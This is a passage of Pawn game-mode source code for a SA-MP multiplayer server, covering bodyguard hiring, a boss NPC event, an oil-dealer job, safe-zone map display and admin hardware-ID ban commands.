	        skinl[1] = 109;
	        skinl[2] = 110;
	        skinl[3] = 108;
	        skinl[4] = 195;
	        skinl[5] = 214;
	        ShowModelSelectionMenuEx(playerid, skinl, 6, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==14)
			{
	        new skinl[5];
	        skinl[0] = 102;
	        skinl[1] = 103;
	        skinl[2] = 104;
	        skinl[3] = 223;
	        skinl[4] = 13;
	        ShowModelSelectionMenuEx(playerid, skinl, 5, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==15)
			{
	        new skinl[6];
	        skinl[0] = 173;
	        skinl[1] = 174;
	        skinl[2] = 175;
	        skinl[3] = 114;
	        skinl[4] = 116;
	        skinl[5] = 214;
	        ShowModelSelectionMenuEx(playerid, skinl, 6, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==16)
			{
	        new skinl[4];
	        skinl[0] = 8;
	        skinl[1] = 50;
	        skinl[2] = 225;
	        skinl[3] = 42;
	        ShowModelSelectionMenuEx(playerid, skinl, 4, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
			if(y==17)
			{
	        new skinl[2];
	        skinl[0] = 120;
	        skinl[1] = 233;
	        ShowModelSelectionMenuEx(playerid, skinl, 2, "Faction skins", 1, 16.0, 0.0, -55.0);
			}
		}
		else// Civil
		{
        ShowModelSelectionMenu(playerid, skinxlist, "Select a skin");
		}
		return 1;
		}
		if(strcmp(cmd, "/bg", true) == 0)
		{
		if(PINFO[playerid][pLeader]==2)return Error(playerid, "Error: Bodyguard mode is just for members.")
		if(PINFO[playerid][pMember]!=2)return Error(playerid, "Error: You couldn't become bodyguard.")
		if(PINFO[playerid][pRank]<2)return Error(playerid, "Error: Your rank isn't high enough.")
		if(Mahal[playerid]!=6)return Error(playerid, "Error: You should be in your HQ.")
		if(BGMode[playerid]==0)
		{
		BGMode[playerid]=1;
		olDSkin[playerid]=GetPlayerSkin(playerid);
		SetPlayerSkin(playerid, 163);
		SCM(playerid, COLOR_YELLOW, "You switched bodyguard mode.");
		}
		else if(BGMode[playerid]==1)
		{
		if(ImBG[playerid]!=INVALID_PLAYER_ID)return Error(playerid, "Error: You can't switch back because you are protecting someone now.")
		BGMode[playerid]=0;
		SetPlayerSkin(playerid, olDSkin[playerid]);
        SCM(playerid, COLOR_YELLOW, "You switched back from bodyguard mode.");
		}
		return 1;
		}
		if(strcmp(cmd, "/requestbg", true) == 0)
		{
		if(IsACop(playerid))return Error(playerid, "Error: Cops couldn't request for a bodyguard.")
		if(PINFO[playerid][pLevel]<3)return Error(playerid, "Error: Your level isn't high enough.")
		if(PINFO[playerid][pNCard]<1)return Error(playerid, "Error: You should have national card.")
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /requestbg <Playerid/PartOfName>");
	    new taraf=ReturnUser6(tmp);
	    if(!IsPlayerConnected(taraf))return Error(playerid, "Error: That player is offline.")
        if(!ProxDetectorS(7,taraf,playerid))return Error(playerid, "Error: You should be close to that player.")
        if(PINFO[taraf][pMember]!=2)return Error(playerid, "Error: You couldn't send bodyguard request to this player.")
        if(BGMode[taraf]!=1)return Error(playerid, "Error: That player isn't in bodyguard mode.")
        if(myBG[playerid]!=INVALID_PLAYER_ID)return Error(playerid, "Error: You already have bodyguard.")
        RequestedBG[playerid]=taraf;
        new frmt[144];
        format(frmt, sizeof(frmt), "Bodyguard request have been sent to %s(%d)", RPName(taraf), taraf);
        SCM(playerid, COLOR_LIGHTBLUE, frmt);
        format(frmt, sizeof(frmt), "Player %s(%d) has requested you to be %s bodyguard. (/accbg %d)", RPName(playerid), playerid, (PINFO[playerid][pSex]==1)?("his"):("her"), playerid);
        SCM(taraf, COLOR_LIGHTBLUE, frmt);
		return 1;
		}
		if(strcmp(cmd, "/accbg", true) == 0)
		{
		if(PINFO[playerid][pLeader]==2)return Error(playerid, "Error: You can't use this command.")
		if(PINFO[playerid][pMember]!=2)return Error(playerid, "Error: You couldn't become bodyguard.")
		if(PINFO[playerid][pRank]<2)return Error(playerid, "Error: Your rank isn't high enough.")
		if(ImBG[playerid]!=INVALID_PLAYER_ID)return Error(playerid, "Error: You are already someone's bodyguard.")
		if(BGMode[playerid]==0)return Error(playerid, "Error: You should be in bodyguard mode.")
		if(BGFee[playerid]<2000)return Error(playerid, "Error: Set a fee first.")
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /accbg <Playerid/PartOfName>");
	    new taraf=ReturnUser6(tmp);
	    if(!IsPlayerConnected(taraf))return Error(playerid, "Error: That player is offline.")
        if(!ProxDetectorS(7,taraf,playerid))return Error(playerid, "Error: You should be close to that player.")
        if(RequestedBG[taraf]!=playerid)return Error(playerid, "Error: This player don't requested you to be their bodyguard.")
        myBG[taraf]=playerid;
        ImBG[playerid]=taraf;
        RequestedBG[taraf]=INVALID_PLAYER_ID;
        new frmt[144];
	    format(frmt, sizeof(frmt), "Bodyguard %s(%d) has accepted being your bodyguard for $%s per paycheck.", RPName(playerid), playerid, FormatNumber(BGFee[playerid]));
	    SCM(taraf, COLOR_LIGHTBLUE, frmt);
	    format(frmt, sizeof(frmt), "You are now %s(%d)'s bodyguard for $%s per paycheck.", RPName(taraf), taraf, FormatNumber(BGFee[playerid]));
	    SCM(playerid, COLOR_LIGHTBLUE, frmt);
		return 1;
		}
		if(strcmp(cmd, "/bgfee", true) == 0)
		{
		if(PINFO[playerid][pLeader]==2)return Error(playerid, "Error: You can't use this command.")
		if(PINFO[playerid][pMember]!=2)return Error(playerid, "Error: You couldn't become bodyguard.")
		if(PINFO[playerid][pRank]<2)return Error(playerid, "Error: Your rank isn't high enough.")
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /bgfee <Amount>");
	    new amnt = strval(tmp);
	    if(amnt>=15001)return Error(playerid, "Error: Amount is too high.")
	    if(amnt<=1999)return Error(playerid, "Error: Amount is too low.")
	    BGFee[playerid]=amnt;
	    new frmt[144];
	    format(frmt, sizeof(frmt), "Your bodyguard fee is $%s for per paycheck now.", FormatNumber(amnt));
	    SCM(playerid, COLOR_SINARANG, frmt);
		return 1;
		}
		if (strcmp(cmd, "/bodyguards", true) == 0)
		{
				new count=0;
				SCM(playerid, CRISTIAN, "|_________Bodyguards Online_________|");
				ForEachPlayer(i)
				{
						if(PlayerInfo[i][pMember]==3&&BGMode[i]==1)
						{
							format(string, sizeof(string),"Bodyguard %s(%d)(%s) - Ph: %s", RPName(i), i, (ImBG[i]==INVALID_PLAYER_ID)?("{00FF00}Available"):("{FF0000}Busy"), FormatPhoneNumber(PINFO[i][pPnumber]));
							SCM(playerid, COLOR_WHITE, string);
							count++;
						}
				}
				if(count == 0)
				{
					SCM(playerid,COLOR_LIGHTGREEN,"* No bodyguards online on the server");
				}
				else if(count == 1)
				{
					SCM(playerid,COLOR_LIGHTGREEN,"There is 1 Leader online.");
				}
				else if (count >= 2)
				{
					format(string, sizeof(string), "* There are %d bodyguards online.", count);
					SCM(playerid, COLOR_LIGHTGREEN, string);
				}
			return 1;
		}
		if(strcmp(cmd, "/sptb", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(Boss!=-1)return SCM(playerid,COLOR_YELLOW2,"Error: Boss is already in the world.");
		Boss=FCNPC_Create("BOSS");
		Angel=FCNPC_Create("Angel");
		if(Boss==INVALID_PLAYER_ID||Angel==INVALID_PLAYER_ID)
		{
			if(FCNPC_IsValid(Boss))FCNPC_Destroy(Boss);
			if(FCNPC_IsValid(Angel))FCNPC_Destroy(Angel);
			Boss=-1;
			Angel=-1;
			//ThereIsBoss=false;
			return SCM(playerid,COLOR_YELLOW2,"Error: Server couldn't create the NPCs.");
		}
	    tmp = strtok(cmdtext, idx);
	    new spwn = strval(tmp);
		if(!strlen(tmp)){BossSpawnLocation=random(2);}else{if(spwn>1||spwn<0){BossSpawnLocation=random(2);}else{BossSpawnLocation=spwn;}}
		FCNPC_Spawn(Angel,216,AngelSpawns[BossSpawnLocation][0],AngelSpawns[BossSpawnLocation][1],AngelSpawns[BossSpawnLocation][2]);
		FCNPC_SetAngle(Angel,AngelSpawns[BossSpawnLocation][3]);
		FCNPC_SetInvulnerable(Angel);
		FCNPC_Spawn(Boss,217,BossCircleAreas[BossSpawnLocation][0],BossCircleAreas[BossSpawnLocation][1],BossCircleAreas[BossSpawnLocation][2]);
		FCNPC_SetWeapon(Boss, 31);
		FCNPC_SetAmmo(Boss, 35000);
		FCNPC_SetWeaponReloadTime(Boss, 31, 0);
		FCNPC_SetWeaponSkillLevel(Boss, WEAPONSKILL_M4, 1000);
		FCNPC_SetWeaponState(Boss, 2);
		FCNPC_SetHealth(Boss, 50000.0);
		SetPlayerColor(Boss, 0xFF0000FF);
		FCNPC_SetAnimation(Boss,390,4.0,0,0,0,1,0);
		CreateBossTD();
		SetupBossTD();
		BossArea=CreateDynamicRectangle(BossRectangleAreas[BossSpawnLocation][0],BossRectangleAreas[BossSpawnLocation][1],BossRectangleAreas[BossSpawnLocation][2],BossRectangleAreas[BossSpawnLocation][3]);
		BossArea2=CreateDynamicCircle(BossCircleAreas[BossSpawnLocation][0],BossCircleAreas[BossSpawnLocation][1],25.0,0,0);
		AttachDynamicAreaToPlayer(BossArea2,Boss);
		BossLabel=CreateDynamic3DTextLabel("Zzz...\nzZz...", 0xFF0000FF,BossCircleAreas[BossSpawnLocation][0],BossCircleAreas[BossSpawnLocation][1],BossCircleAreas[BossSpawnLocation][2],100.0,.attachedplayer=Boss);
		AngelLabel=CreateDynamic3DTextLabel("The Angel\nType /angel", 0x00FF00FF,AngelSpawns[BossSpawnLocation][0],AngelSpawns[BossSpawnLocation][1],AngelSpawns[BossSpawnLocation][2],30.0,.attachedplayer=Angel);
		BossTimer=SetTimer("BossDestroyer", 1800000, false);
		//SetPlayerAttachedObject(Boss, 0, 2908, 2, 0.0668, 0.0458, 0.0000, 180.0000, 0.0000, 90.0000, 1.1840, 1.4400, 1.3748, 0xFFFFFFFF, 0xFFFFFFFF);
		SetPlayerAttachedObject(Boss, 0, 2908, 2, 0.070000, 0.044000, 0.010000, -180.000000, 3.899996, 90.000000, 1.505000, 1.707000, 1.865000, 0, 0);
		SetPlayerAttachedObject(Boss, 1, 2907, 1, -0.018000, 0.045000, 0.015000, 90.000000, 180.000000, -90.000000, 1.259000, 1.031999, 1.310999, 0, 0);
		SetPlayerAttachedObject(Boss, 2, 2906, 5, -0.169999, 0.032000, -0.032999, 0.000000, -5.799998, -90.000000, 2.262999, 1.187999, 1.770001, 0, 0);
		SetPlayerAttachedObject(Boss, 3, 2906, 6, -0.159000, 0.034000, -0.058000, 8.399998, -8.800000, -90.000000, 2.263000, 1.000000, 1.835000, 0, 0);
		IsBossAsleep=true;
		//ThereIsBoss=true;
		SetPlayerColor(Angel, 0x00FF00FF);
		ForEachPlayer(i)
		{
			BossScore[i]=0;
		}
		SendClientMessageToAll(COLOR_SINAGHERMEZ,"[BOSS-EVENT]: {FFFFFF}The mad bloodlust boss has been appeared at the world, Use /wita to find him.");
		return 1;
		}
		if(strcmp(cmd, "/wita", true) == 0)
		{
	    if(Boss==-1)return SCM(playerid,COLOR_YELLOW2,"Error: The boss is not spawned yet.");
	    if(CP[playerid]!=0)return SCM(playerid,COLOR_YELLOW2,"Error: You already have an enable checkpoint.");
	    SetPlayerCheckpoint(playerid,AngelSpawns[BossSpawnLocation][0], AngelSpawns[BossSpawnLocation][1], AngelSpawns[BossSpawnLocation][2],5.0);
	    CP[playerid]=18650;
	    SCM(playerid,COLOR_LIGHTRED,"Go to the checkpoint to find the boss.");
		return 1;
		}
		if(strcmp(cmd, "/angel", true) == 0)
		{
	    if(Boss==-1)return SCM(playerid,COLOR_YELLOW2,"Error: The boss is not in the world.");
	    if(!IsPlayerInRangeOfPoint(playerid, 5.0, AngelSpawns[BossSpawnLocation][0], AngelSpawns[BossSpawnLocation][1], AngelSpawns[BossSpawnLocation][2]))return SCM(playerid,COLOR_YELLOW2,"Error: You must be near the angel.");
	    ShowPlayerDialog(playerid, 2067, DIALOG_STYLE_LIST, "Angel", "Best killers list(R1-10)\nBoss Slayer Gun Pack\nAngelic revive\nAngelic heal and armour", "Select", "Cancel");
		return 1;
		}
		if(strcmp(cmd, "/buff", true) == 0)
		{
         new title[100];
         format(title, sizeof(title), "Buff List - Your buffs: %s", FormatNumber(PINFO[playerid][pBuff]));
         ShowPlayerDialog(playerid, 8364, DIALOG_STYLE_LIST,title, "{00FF00}Low-level buffs\n{FFFF00}Med-level buffs\n{FF0000}High-level buffs", "Select", "Cancel");
         return 1;
        }
		if(strcmp(cmd, "/checkcl", true) == 0)
		{
		if(PINFO[playerid][pAdmin]<6)return Error(playerid, "Error: Your admin level isn't high enough to use this command.")
	    tmp = strtok(cmdtext, idx);
	    if(!strlen(tmp))return SCM(playerid, COL_SYN, "Syntax: /checkcl <Playerid/PartOfName>");
	    new taraf=ReturnUser6(tmp);
	    if(!IsPlayerConnected(taraf))return Error(playerid, "Error: That player is offline.")
        new frmt[144];
	   	new myver[40];
		GetPlayerVersion(taraf, myver, sizeof(myver));
		if(!InvalidClient[taraf]){format(frmt, sizeof(frmt), "%s{ff6347}'s client version is: {FFFFFF}Unofficial SA-MP", RPName(taraf));}
        else{format(frmt, sizeof(frmt), "%s{ff6347}'s client version is: {FFFFFF}Official SA-MP %s", RPName(taraf), myver);}
        SCM(playerid, COLOR_WHITE, frmt);
		return 1;
		}
		if(strcmp(cmd, "/oil", true) == 0)
		{
		if(PINFO[playerid][pJob]!=24) return Error(playerid, "Error: You are not an Oil Dealer.")
		if(!IsAtNaftKesh(playerid)) return Error(playerid, "Error: You can't export oil here.")
		if(DoingNaft[playerid] == 1) return Error(playerid, "Error: You can't export oil now.")
		if(OilInHand[playerid] >= 10) return Error(playerid, "Error: You can't hold more oil. Import them to Oil Transporter car.")
        if(GetPlayerState(playerid)!=PLAYER_STATE_ONFOOT) return Error(playerid, "Error: You should be onfoot.")
		LoopingAnim(playerid, "BOMBER", "BOM_Plant", 4.0, 1, 0, 0, 0, 0);
		OilExport[playerid] = SetTimerEx("OilExp", 15000, false, "i", playerid);
		DoingNaft[playerid] = 1;
		return 1;
		}
		if(strcmp(cmd, "/impoil", true) == 0)
		{
		if(PINFO[playerid][pJob]!=24) return Error(playerid, "Error: You are not an Oil Dealer.")
		if(!IsPlayerInAnyVehicle(playerid))return Error(playerid, "Error: You should be in Oil Transporter to use this command.")
		new veh=GetPlayerVehicleID(playerid);
		if(!IsAnOilCar(veh))return Error(playerid, "Error: You should be in Oil Transporter to use this command.")
		if(OilInCar[veh]>500)return Error(playerid, "Error: This car's storage is full.")
		new msg[144];
		format(msg, sizeof(msg), "You imported %sL oil in Oil Transporter car.", FormatNumber(OilInHand[playerid]));
		SCM(playerid, COLOR_SINARANG, msg);
		OilInCar[veh]=(OilInHand[playerid]+OilInCar[veh]);
		format(msg, sizeof(msg), "Current car's oil: %sL.", FormatNumber(OilInCar[veh]));
		SCM(playerid, COLOR_SINARANG, msg);
		SCM(playerid, COLOR_LIGHTGREEN, "Go to a gas station and type /selloil.");
		OilInHand[playerid]=0;
		return 1;
		}
		if(strcmp(cmd, "/selloil", true) == 0)
		{
		if(PINFO[playerid][pJob]!=24) return Error(playerid, "Error: You are not an Oil Dealer.")
		if(!IsPlayerInAnyVehicle(playerid))return Error(playerid, "Error: You should be in Oil Transporter to use this command.")
		if(GetPlayerState(playerid)!=PLAYER_STATE_DRIVER)return Error(playerid, "Error: You should be driver of this vehicle to sell oil.")
		new veh=GetPlayerVehicleID(playerid);
		if(!IsAnOilCar(veh))return Error(playerid, "Error: You should be in Oil Transporter to use this command.")
		if(!IsAtGasStation(playerid))return Error(playerid, "Error: You are not at Gas Station.")
		if(OilInCar[veh]<10)return Error(playerid, "Error: This car's oil isn't high enough.")
		new payout, oil=OilInCar[veh], msg[144];
		if(oil<=100){payout=(oil*100);}
		if(oil>=101&&oil<=200){payout=(oil*90);}
		if(oil>=201&&oil<=300){payout=(oil*80);}
		if(oil>=301&&oil<=400){payout=(oil*70);}
		if(oil>=401){payout=(oil*60);}
		GivePlayerPool(playerid, payout);
		format(msg, sizeof(msg), "~g~+$%s", FormatNumber(payout));
		GameTextForPlayer(playerid, msg, 5000, 1);
		format(msg, sizeof(msg), "You sold %sL oil to this gas station for $%s", FormatNumber(oil), FormatNumber(payout));
		SCM(playerid, COLOR_LIGHTGREEN, msg);
		OilInCar[veh]=0;
		return 1;
		}
		if(strcmp(cmd, "/safezones", true) == 0)
		{
		if(SZShow[playerid]==0)
		{
	    GangZoneShowForPlayer(playerid, SafeZoneArea[0], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[1], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[2], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[3], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[4], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[5], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[6], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[7], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[8], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[9], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[10], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[11], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[12], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[13], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[14], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[15], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[16], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[17], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[18], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[19], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[20], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[21], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[22], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[23], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[24], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[25], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[26], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[27], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[28], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[29], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[30], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[31], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[32], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[33], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[34], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[35], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[36], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[37], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[38], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[39], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[40], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[41], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[42], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[43], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[44], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[45], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[46], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[47], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[48], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[49], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[50], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[51], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[52], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[53], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[54], 0x00FF00AA);
	    GangZoneShowForPlayer(playerid, SafeZoneArea[55], 0x00FF00AA);
	    SCM(playerid, COLOR_SINARANGNOT, "SafeZones have been shown on your map.");
	    SZShow[playerid]=1;
		}
		else
		{
	    GangZoneHideForPlayer(playerid, SafeZoneArea[0]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[1]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[2]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[3]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[4]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[5]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[6]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[7]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[8]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[9]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[10]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[11]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[12]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[13]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[14]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[15]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[16]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[17]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[18]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[19]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[20]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[21]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[22]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[23]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[24]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[25]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[26]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[27]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[28]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[29]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[30]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[31]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[32]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[33]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[34]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[35]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[36]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[37]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[38]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[39]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[40]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[41]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[42]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[43]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[44]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[45]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[46]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[47]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[48]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[49]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[50]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[51]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[52]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[53]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[54]);
	    GangZoneHideForPlayer(playerid, SafeZoneArea[55]);
	    SCM(playerid, COLOR_SINARANGNOT, "SafeZones have been hidden from your map.");
	    SZShow[playerid]=0;
		}
		return 1;
		}
		if(strcmp(cmd, "/unhwban", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(IsHoster(playerid))return Error(playerid, "Error: You couldn't use this command.")
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /unhwban <FullName>");
		new query[512], xhwid[60], namex[30], frmt[144];
        mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", tmp);
        new Cache:result=mysql_query(handle,query);
        cache_get_field_content(0,"pHWID",xhwid,handle,sizeof(xhwid));
        cache_get_field_content(0,"pName",namex,handle,sizeof(namex));
        if(cache_num_rows()==0) { SCM(playerid, COLOR_YELLOW2, "Error: This player isn't exist in database."); cache_delete(result); return 1; }
        cache_delete(result);
        mysql_format(handle,query,sizeof(query),"SELECT * FROM `hwbans` WHERE `HWBanned`='%e'", xhwid);
        new Cache:xkxkx=mysql_query(handle,query);
        if(cache_num_rows()==0){ Error(playerid, "Error: This player's HWID isn't banned.") cache_delete(xkxkx); return 1;}
        cache_delete(xkxkx);
		mysql_format(handle, query, sizeof(query), "DELETE FROM `hwbans` WHERE `HWBanned`='%e'",xhwid);
		mysql_query(handle, query, false);
	    format(frmt, sizeof(frmt), "{ffffff}Admin %s has unbanned %s's HWID",RPName(playerid), namex);
        AdminWarn(frmt);
		return 1;
		}
		if(strcmp(cmd, "/hwban", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(IsHoster(playerid))return Error(playerid, "Error: You couldn't use this command.")
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /hwban <FullName>");
		new taraf = ReturnUser2(tmp), frmt[144], query[512], admlvl, xhwid[60], namex[30];
		if(IsPlayerConnected(taraf))// online
		{
		  if(PINFO[taraf][pAdmin]>PINFO[playerid][pAdmin])return Error(playerid, "Error: You can't use this command for your higher ranks people.")
          mysql_format(handle,query,sizeof(query),"SELECT * FROM `hwbans` WHERE `HWBanned`='%e'", GetPlayerHWID(taraf));
          new Cache:xkxkx=mysql_query(handle,query);
          if(cache_num_rows()!=0)return Error(playerid, "Error: This player's HWID is already banned.")
          cache_delete(xkxkx);
		  mysql_format(handle, query, sizeof(query), "INSERT INTO `hwbans` (`HWBanner`,`HWBanned`,`HWDate`,`HWBannedName`) VALUES ('%e','%e','%e','%e')", PINFO[playerid][pName],GetPlayerHWID(taraf),CurrentTime(),PINFO[taraf][pName]);
		  mysql_tquery(handle, query);
	      format(frmt, sizeof(frmt), "{ffffff}Admin %s has banned %s(%d)'s HWID",RPName(playerid), RPName(taraf), taraf);
          AdminWarn(frmt);
          SCM(taraf, COLOR_LIGHTRED, "You have been banned. (HWID)");
          KickPlayerMessage(taraf);
		}
		else// offline
		{
          mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", tmp);
          new Cache:result=mysql_query(handle,query);
          if(cache_num_rows()==0) { SCM(playerid, COLOR_YELLOW2, "Error: This player isn't exist in database."); cache_delete(result); return 1; }
          admlvl=cache_get_field_content_int(0,"pAdmin");
          cache_get_field_content(0,"pHWID",xhwid,handle,sizeof(xhwid));
          cache_get_field_content(0,"pName",namex,handle,sizeof(namex));
          cache_delete(result);
          if(admlvl>PINFO[playerid][pAdmin]){ Error(playerid, "Error: You can't use this command for your higher ranks people.") cache_delete(result); return 1; }
          mysql_format(handle,query,sizeof(query),"SELECT * FROM `hwbans` WHERE `HWBanned`='%e'", xhwid);
          new Cache:xkxkx=mysql_query(handle,query);
          if(cache_num_rows()!=0)return Error(playerid, "Error: This player's HWID is already banned.")
          cache_delete(xkxkx);
		  mysql_format(handle, query, sizeof(query), "INSERT INTO `hwbans` (`HWBanner`,`HWBanned`,`HWDate`,`HWBannedName`) VALUES ('%e','%e','%e','%e')", PINFO[playerid][pName],xhwid,CurrentTime(),namex);
		  mysql_tquery(handle, query);
	      format(frmt, sizeof(frmt), "{ffffff}Admin %s has banned %s's HWID",RPName(playerid), namex);
          AdminWarn(frmt);
		}
		return 1;
		}
		if(strcmp(cmd, "/hwbans", true) == 0)
		{
          if(PINFO[playerid][pAdmin] < 2) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		  new query[512], strlol[2000], strlol2[256], getname[30], hwBanned[60], hwDate[80], hwName[30], Counter = 0;
